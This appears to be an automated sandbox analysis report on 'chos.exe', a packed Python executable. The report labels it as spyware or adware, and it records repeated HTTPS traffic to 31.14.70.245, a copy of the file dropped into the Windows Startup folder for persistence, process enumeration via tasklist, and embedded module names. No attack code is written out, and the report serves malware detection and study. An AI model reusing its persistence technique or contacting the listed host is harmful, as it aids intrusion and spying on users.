Source: chos.exe, 00000011.00000003.1741361132.00000211B81C8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://urllib3.rQ
Source: chos.exe, 00000011.00000003.1703174546.00000211B826C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#https-proxy-error-http-proxy
Source: chos.exe, 00000011.00000003.1703493750.00000211B822E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warningsN
Source: chos.exe, 00000002.00000003.1477854412.00000159557BC000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000002.00000003.1478209771.00000159558E3000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1699028639.00000211B7FFE000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1703493750.00000211B7FB5000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1694956038.00000211B8083000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1740812158.00000211B7F9A000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1695029112.00000211B80C9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www-cs-faculty.stanford.edu/~knuth/fasc2a.ps.gz
Source: chos.exe, 0000000A.00000003.1654672093.00000243B8843000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.apache.org/licenses/
Source: chos.exe, 00000000.00000003.1440271500.0000018B76870000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 0000000A.00000003.1654672093.00000243B8843000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 0000000A.00000003.1654867803.00000243B8851000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.apache.org/licenses/LICENSE-2.0
Source: chos.exe, 00000011.00000003.1703493750.00000211B7FB5000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1740812158.00000211B7F9A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.python.org
Source: chos.exe, 00000011.00000003.1699028639.00000211B7FFE000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1703493750.00000211B7FB5000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1694956038.00000211B8083000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1740812158.00000211B7F9A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.python.org/
Source: chos.exe, 00000011.00000003.1703174546.00000211B826C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.rfc-editor.org/rfc/rfc8259#section-8.1
Source: chos.exe, 00000011.00000003.1741361132.00000211B81C8000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1703493750.00000211B7FB5000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1703493750.00000211B81B8000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1740812158.00000211B7F9A000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1703174546.00000211B826C000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1706710429.00000211B81E4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://yahoo.com/
Source: unknownNetwork traffic detected: HTTP traffic on port 49708 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49743
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49742
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49741
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49740
Source: unknownNetwork traffic detected: HTTP traffic on port 49766 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49743 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49746 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49781 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49769 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49720 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49739
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49738
Source: unknownNetwork traffic detected: HTTP traffic on port 49717 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49737
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49736
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49735
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49734
Source: unknownNetwork traffic detected: HTTP traffic on port 49772 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49733
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49732
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49731
Source: unknownNetwork traffic detected: HTTP traffic on port 49732 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49711 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49728 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49749 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49763 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49729
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49728
Source: unknownNetwork traffic detected: HTTP traffic on port 49777 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49714 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49727
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49726
Source: unknownNetwork traffic detected: HTTP traffic on port 49735 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49725
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49722
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49721
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49720
Source: unknownNetwork traffic detected: HTTP traffic on port 49731 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49729 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49748 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49760 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49717
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49716
Source: unknownNetwork traffic detected: HTTP traffic on port 49715 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49715
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49714
Source: unknownNetwork traffic detected: HTTP traffic on port 49774 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49711
Source: unknownNetwork traffic detected: HTTP traffic on port 49757 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49782 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49734 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49726 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49740 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49765 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49768 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49708
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49707
Source: unknownNetwork traffic detected: HTTP traffic on port 49754 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49737 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49771 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49733 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49779 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49782
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49781
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49780
Source: unknownNetwork traffic detected: HTTP traffic on port 49727 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49762 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49776 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49736 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49753 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49779
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49778
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49777
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49776
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49775
Source: unknownNetwork traffic detected: HTTP traffic on port 49707 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49774
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49773
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49772
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49771
Source: unknownNetwork traffic detected: HTTP traffic on port 49742 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49767 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49780 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49721 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49773 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49769
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49768
Source: unknownNetwork traffic detected: HTTP traffic on port 49739 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49756 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49767
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49766
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49765
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49764
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49763
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49762
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49761
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49760
Source: unknownNetwork traffic detected: HTTP traffic on port 49725 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49741 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49764 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49722 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49778 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49757
Source: unknownNetwork traffic detected: HTTP traffic on port 49738 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49755 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49756
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49755
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49754
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49753
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49750
Source: unknownNetwork traffic detected: HTTP traffic on port 49761 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49747 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49775 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49716 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49750 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49749
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49748
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49747
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49746
Source: unknownHTTPS traffic detected: 31.14.70.245:443 -> 192.168.2.8:49715 version: TLS 1.2
Source: unknownHTTPS traffic detected: 31.14.70.245:443 -> 192.168.2.8:49720 version: TLS 1.2
Source: unknownHTTPS traffic detected: 31.14.70.245:443 -> 192.168.2.8:49725 version: TLS 1.2
Source: unknownHTTPS traffic detected: 31.14.70.245:443 -> 192.168.2.8:49746 version: TLS 1.2
Source: unknownHTTPS traffic detected: 31.14.70.245:443 -> 192.168.2.8:49753 version: TLS 1.2
Source: unknownHTTPS traffic detected: 31.14.70.245:443 -> 192.168.2.8:49760 version: TLS 1.2
Source: C:\Users\user\Desktop\chos.exeCode function: 0_2_00007FF666DD10000_2_00007FF666DD1000
Source: C:\Users\user\Desktop\chos.exeCode function: 0_2_00007FF666DD8BD00_2_00007FF666DD8BD0
Source: C:\Users\user\Desktop\chos.exeCode function: 0_2_00007FF666DF5C700_2_00007FF666DF5C70
Source: C:\Users\user\Desktop\chos.exeCode function: 0_2_00007FF666DF69D40_2_00007FF666DF69D4
Source: C:\Users\user\Desktop\chos.exeCode function: 0_2_00007FF666DF09380_2_00007FF666DF0938
Source: C:\Users\user\Desktop\chos.exeCode function: 0_2_00007FF666DE88040_2_00007FF666DE8804
Source: C:\Users\user\Desktop\chos.exeCode function: 0_2_00007FF666DE1FD00_2_00007FF666DE1FD0
Source: C:\Users\user\Desktop\chos.exeCode function: 0_2_00007FF666DF97980_2_00007FF666DF9798
Source: C:\Users\user\Desktop\chos.exeCode function: 0_2_00007FF666DE17B00_2_00007FF666DE17B0
Source: C:\Users\user\Desktop\chos.exeCode function: 0_2_00007FF666DEDF600_2_00007FF666DEDF60
Source: C:\Users\user\Desktop\chos.exeCode function: 0_2_00007FF666DF411C0_2_00007FF666DF411C
Source: C:\Users\user\Desktop\chos.exeCode function: 0_2_00007FF666DF18E40_2_00007FF666DF18E4
Source: C:\Users\user\Desktop\chos.exeCode function: 0_2_00007FF666DD98700_2_00007FF666DD9870
Source: C:\Users\user\Desktop\chos.exeCode function: 0_2_00007FF666DE36100_2_00007FF666DE3610
Source: C:\Users\user\Desktop\chos.exeCode function: 0_2_00007FF666DEE5E00_2_00007FF666DEE5E0
Source: C:\Users\user\Desktop\chos.exeCode function: 0_2_00007FF666DE1DC40_2_00007FF666DE1DC4
Source: C:\Users\user\Desktop\chos.exeCode function: 0_2_00007FF666DE5DA00_2_00007FF666DE5DA0
Source: C:\Users\user\Desktop\chos.exeCode function: 0_2_00007FF666DE9F100_2_00007FF666DE9F10
Source: C:\Users\user\Desktop\chos.exeCode function: 0_2_00007FF666DF5EEC0_2_00007FF666DF5EEC
Source: C:\Users\user\Desktop\chos.exeCode function: 0_2_00007FF666DE1BC00_2_00007FF666DE1BC0
Source: C:\Users\user\Desktop\chos.exeCode function: 0_2_00007FF666DDA34B0_2_00007FF666DDA34B
Source: C:\Users\user\Desktop\chos.exeCode function: 0_2_00007FF666DDAD1D0_2_00007FF666DDAD1D
Source: C:\Users\user\Desktop\chos.exeCode function: 0_2_00007FF666DDA4E40_2_00007FF666DDA4E4
Source: C:\Users\user\Desktop\chos.exeCode function: 0_2_00007FF666DF3C800_2_00007FF666DF3C80
Source: C:\Users\user\Desktop\chos.exeCode function: 0_2_00007FF666DE2C800_2_00007FF666DE2C80
Source: C:\Users\user\Desktop\chos.exeCode function: 0_2_00007FF666DF09380_2_00007FF666DF0938
Source: C:\Users\user\Desktop\chos.exeCode function: 0_2_00007FF666DF64880_2_00007FF666DF6488
Source: C:\Users\user\Desktop\chos.exeCode function: 0_2_00007FF666DE3A140_2_00007FF666DE3A14
Source: C:\Users\user\Desktop\chos.exeCode function: 0_2_00007FF666DE21D40_2_00007FF666DE21D4
Source: C:\Users\user\Desktop\chos.exeCode function: 0_2_00007FF666DE19B40_2_00007FF666DE19B4
Source: C:\Users\user\Desktop\chos.exeCode function: 0_2_00007FF666DE81540_2_00007FF666DE8154
Source: C:\Users\user\Desktop\chos.exeCode function: 0_2_00007FF666DEDACC0_2_00007FF666DEDACC
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeCode function: 10_2_00007FF7FD73100010_2_00007FF7FD731000
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeCode function: 10_2_00007FF7FD7569D410_2_00007FF7FD7569D4
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeCode function: 10_2_00007FF7FD75093810_2_00007FF7FD750938
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeCode function: 10_2_00007FF7FD755C7010_2_00007FF7FD755C70
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeCode function: 10_2_00007FF7FD738BD010_2_00007FF7FD738BD0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeCode function: 10_2_00007FF7FD755EEC10_2_00007FF7FD755EEC
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeCode function: 10_2_00007FF7FD749F1010_2_00007FF7FD749F10
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeCode function: 10_2_00007FF7FD745DA010_2_00007FF7FD745DA0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeCode function: 10_2_00007FF7FD741DC410_2_00007FF7FD741DC4
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeCode function: 10_2_00007FF7FD74E5E010_2_00007FF7FD74E5E0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeCode function: 10_2_00007FF7FD74361010_2_00007FF7FD743610
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeCode function: 10_2_00007FF7FD73AD1D10_2_00007FF7FD73AD1D
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeCode function: 10_2_00007FF7FD7518E410_2_00007FF7FD7518E4
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeCode function: 10_2_00007FF7FD73987010_2_00007FF7FD739870
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeCode function: 10_2_00007FF7FD75979810_2_00007FF7FD759798
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeCode function: 10_2_00007FF7FD7417B010_2_00007FF7FD7417B0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeCode function: 10_2_00007FF7FD741FD010_2_00007FF7FD741FD0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeCode function: 10_2_00007FF7FD74880410_2_00007FF7FD748804
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeCode function: 10_2_00007FF7FD74DF6010_2_00007FF7FD74DF60
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeCode function: 10_2_00007FF7FD74DACC10_2_00007FF7FD74DACC
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeCode function: 10_2_00007FF7FD7419B410_2_00007FF7FD7419B4
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeCode function: 10_2_00007FF7FD7421D410_2_00007FF7FD7421D4
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeCode function: 10_2_00007FF7FD743A1410_2_00007FF7FD743A14
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeCode function: 10_2_00007FF7FD75411C10_2_00007FF7FD75411C
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeCode function: 10_2_00007FF7FD74815410_2_00007FF7FD748154
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeCode function: 10_2_00007FF7FD73A4E410_2_00007FF7FD73A4E4
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeCode function: 10_2_00007FF7FD742C8010_2_00007FF7FD742C80
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeCode function: 10_2_00007FF7FD753C8010_2_00007FF7FD753C80
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeCode function: 10_2_00007FF7FD75648810_2_00007FF7FD756488
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeCode function: 10_2_00007FF7FD75093810_2_00007FF7FD750938
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeCode function: 10_2_00007FF7FD741BC010_2_00007FF7FD741BC0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeCode function: 10_2_00007FF7FD73A34B10_2_00007FF7FD73A34B
Source: C:\Users\user\Desktop\chos.exeCode function: String function: 00007FF666DD2710 appears 52 times
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeCode function: String function: 00007FF7FD732710 appears 52 times
Source: _overlapped.pyd.0.drStatic PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: unicodedata.pyd.0.drStatic PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: _overlapped.pyd.10.drStatic PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: python3.dll.10.drStatic PE information: No import functions for PE file found
Source: python3.dll.0.drStatic PE information: No import functions for PE file found
Source: chos.exe, 00000000.00000003.1427464931.0000018B76862000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_hashlib.pyd. vs chos.exe
Source: chos.exe, 00000000.00000003.1428168179.0000018B76862000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_overlapped.pyd. vs chos.exe
Source: chos.exe, 00000000.00000003.1427147151.0000018B76862000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_ctypes.pyd. vs chos.exe
Source: chos.exe, 00000000.00000003.1426703249.0000018B76862000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_asyncio.pyd. vs chos.exe
Source: chos.exe, 00000000.00000003.1427291874.0000018B76862000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_decimal.pyd. vs chos.exe
Source: chos.exe, 00000000.00000003.1428399209.0000018B76862000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_socket.pyd. vs chos.exe
Source: chos.exe, 00000000.00000003.1428077354.0000018B76862000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_multiprocessing.pyd. vs chos.exe
Source: chos.exe, 00000000.00000003.1428547743.0000018B76862000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_sqlite3.pyd. vs chos.exe
Source: chos.exe, 00000000.00000003.1426590138.0000018B76862000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamevcruntime140_1.dllT vs chos.exe
Source: chos.exe, 00000000.00000003.1428914450.0000018B76862000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_uuid.pyd. vs chos.exe
Source: chos.exe, 00000000.00000003.1428724868.0000018B76862000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_ssl.pyd. vs chos.exe
Source: chos.exe, 00000000.00000003.1429055969.0000018B76862000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_wmi.pyd. vs chos.exe
Source: chos.exe, 00000000.00000003.1427624541.0000018B76862000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_lzma.pyd. vs chos.exe
Source: chos.exe, 00000000.00000003.1426840290.0000018B76862000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_bz2.pyd. vs chos.exe
Source: chos.exe, 00000000.00000003.1426422530.0000018B76862000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamevcruntime140.dllT vs chos.exe
Source: chos.exe, 00000000.00000003.1428323610.0000018B76862000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_queue.pyd. vs chos.exe
Source: chos.exe, 0000000A.00000003.1641621400.00000243B8849000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_asyncio.pyd. vs chos.exe
Source: chos.exe, 0000000A.00000003.1642801872.00000243B8849000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_lzma.pyd. vs chos.exe
Source: chos.exe, 0000000A.00000003.1645041537.00000243B8843000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_ssl.pyd. vs chos.exe
Source: chos.exe, 0000000A.00000003.1643035111.00000243B8849000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_multiprocessing.pyd. vs chos.exe
Source: chos.exe, 0000000A.00000003.1643743903.00000243B8849000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_queue.pyd. vs chos.exe
Source: chos.exe, 0000000A.00000003.1641456665.00000243B8849000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamevcruntime140_1.dllT vs chos.exe
Source: chos.exe, 0000000A.00000003.1643387769.00000243B8849000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_overlapped.pyd. vs chos.exe
Source: chos.exe, 0000000A.00000003.1641792858.00000243B8849000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_bz2.pyd. vs chos.exe
Source: chos.exe, 0000000A.00000003.1642207235.00000243B8849000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_ctypes.pyd. vs chos.exe
Source: chos.exe, 0000000A.00000003.1642444057.00000243B8843000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_decimal.pyd. vs chos.exe
Source: chos.exe, 0000000A.00000003.1641261727.00000243B8843000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamevcruntime140.dllT vs chos.exe
Source: chos.exe, 0000000A.00000003.1642629176.00000243B8849000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_hashlib.pyd. vs chos.exe
Source: chos.exe, 0000000A.00000003.1643122607.00000243B8843000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_multiprocessing.pyd. vs chos.exe
Source: chos.exe, 0000000A.00000003.1643416094.00000243B8843000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_overlapped.pyd. vs chos.exe
Source: classification engineClassification label: mal80.adwa.spyw.winEXE@77/198@5/6
Source: C:\Users\user\Desktop\chos.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeJump to behavior
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:10204:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5804:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7980:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7876:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:4448:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3984:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:10024:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5560:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5400:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9912:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2940:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4508:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7632:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:10128:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8032:120:WilError_03
Source: C:\Users\user\Desktop\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI74682Jump to behavior
Source: chos.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Users\user\Desktop\chos.exeKey opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
Source: chos.exeReversingLabs: Detection: 36%
Source: C:\Users\user\Desktop\chos.exeFile read: C:\Users\user\Desktop\chos.exeJump to behavior
Source: unknownProcess created: C:\Users\user\Desktop\chos.exe "C:\Users\user\Desktop\chos.exe"
Source: C:\Users\user\Desktop\chos.exeProcess created: C:\Users\user\Desktop\chos.exe "C:\Users\user\Desktop\chos.exe"
